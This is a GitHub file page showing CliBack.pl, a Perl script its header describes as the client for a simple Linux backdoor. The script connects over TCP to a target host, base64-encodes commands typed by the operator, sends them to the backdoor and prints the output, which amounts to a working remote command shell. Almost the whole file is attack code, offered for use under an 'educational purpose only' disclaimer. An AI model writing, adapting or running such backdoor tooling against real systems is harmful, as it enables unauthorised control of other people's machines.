-
Notifications
You must be signed in to change notification settings - Fork 0
/
CliBack.pl
112 lines (93 loc) · 2.43 KB
/
CliBack.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/bin/perl
# perl version : 5.30
# Description : This is a simple backdoor linux
package CliBack;
use Getopt::Long;
use IO::Socket::INET;
use MIME::Base64;
Getopt::Long::Configure('bundling');
my $helpText = "
Description : This is a simple client for backdoor
Usage : \n
--target | -t\t: target to use
--password | -p\t: password to use
--port | \t: port to use (default port : 8888)
--help | -h\t: print this help
--verbose | -v\t: print more verbose
(This tool is for educational purpose only)
\n\nExample :
perl CliBack.pl -t 192.168.1.1 --port 8888
";
my $versionText = "
Author \t: \@Exo-poulpe
Version \t: 0.1.0.0
This tool is for educational purpose only, usage of PerlForing for attacking targets without prior mutual consent is illegal.
Developers assume no liability and are not responsible for any misuse or damage cause by this program.
";
my $help;
my $version;
my $verbose;
my $port = 8888;
my $password;
my $target;
my $soc;
GetOptions(
'password|p=s' => \$password, # string
'target|t=s' => \$target, # string
'port=i' => \$port, # int
'version' => \$version, # flag
'verbose|v' => \$verbose, # flag
'help|h|?' => \$help, # flag
) or die($helpText);
$SIG{INT} = sub {
print("Ctrl + C detected\n\$ ");
};
sub main()
{
if ( defined $help )
{
print($helpText);
}
elsif ( defined $port )
{
# flush after every write
$| = 1;
$soc = new IO::Socket::INET(
PeerHost => $target,
PeerPort => $port,
Proto => 'tcp',
) or die "ERROR in Socket Creation : $!\n";
if ( defined $verbose )
{
print "TCP Connection Success.\n";
}
my $line;
my $crypted;
my $data;
while (1)
{
print("\n",'$ ');
$line = <STDIN>;
if($line eq "exit\n")
{
print($line . "\n");
$crypted = encode_base64($line);
$soc->send($crypted);
exit(0);
}
if ( defined $verbose ) { print("Debug : $line\n"); }
$crypted = encode_base64($line);
$soc->send($crypted);
while(($data = <$soc>) !~ /\0\n/)
{
print($data);
}
}
$soc->close();
}
else
{
print($helpText);
}
}
main();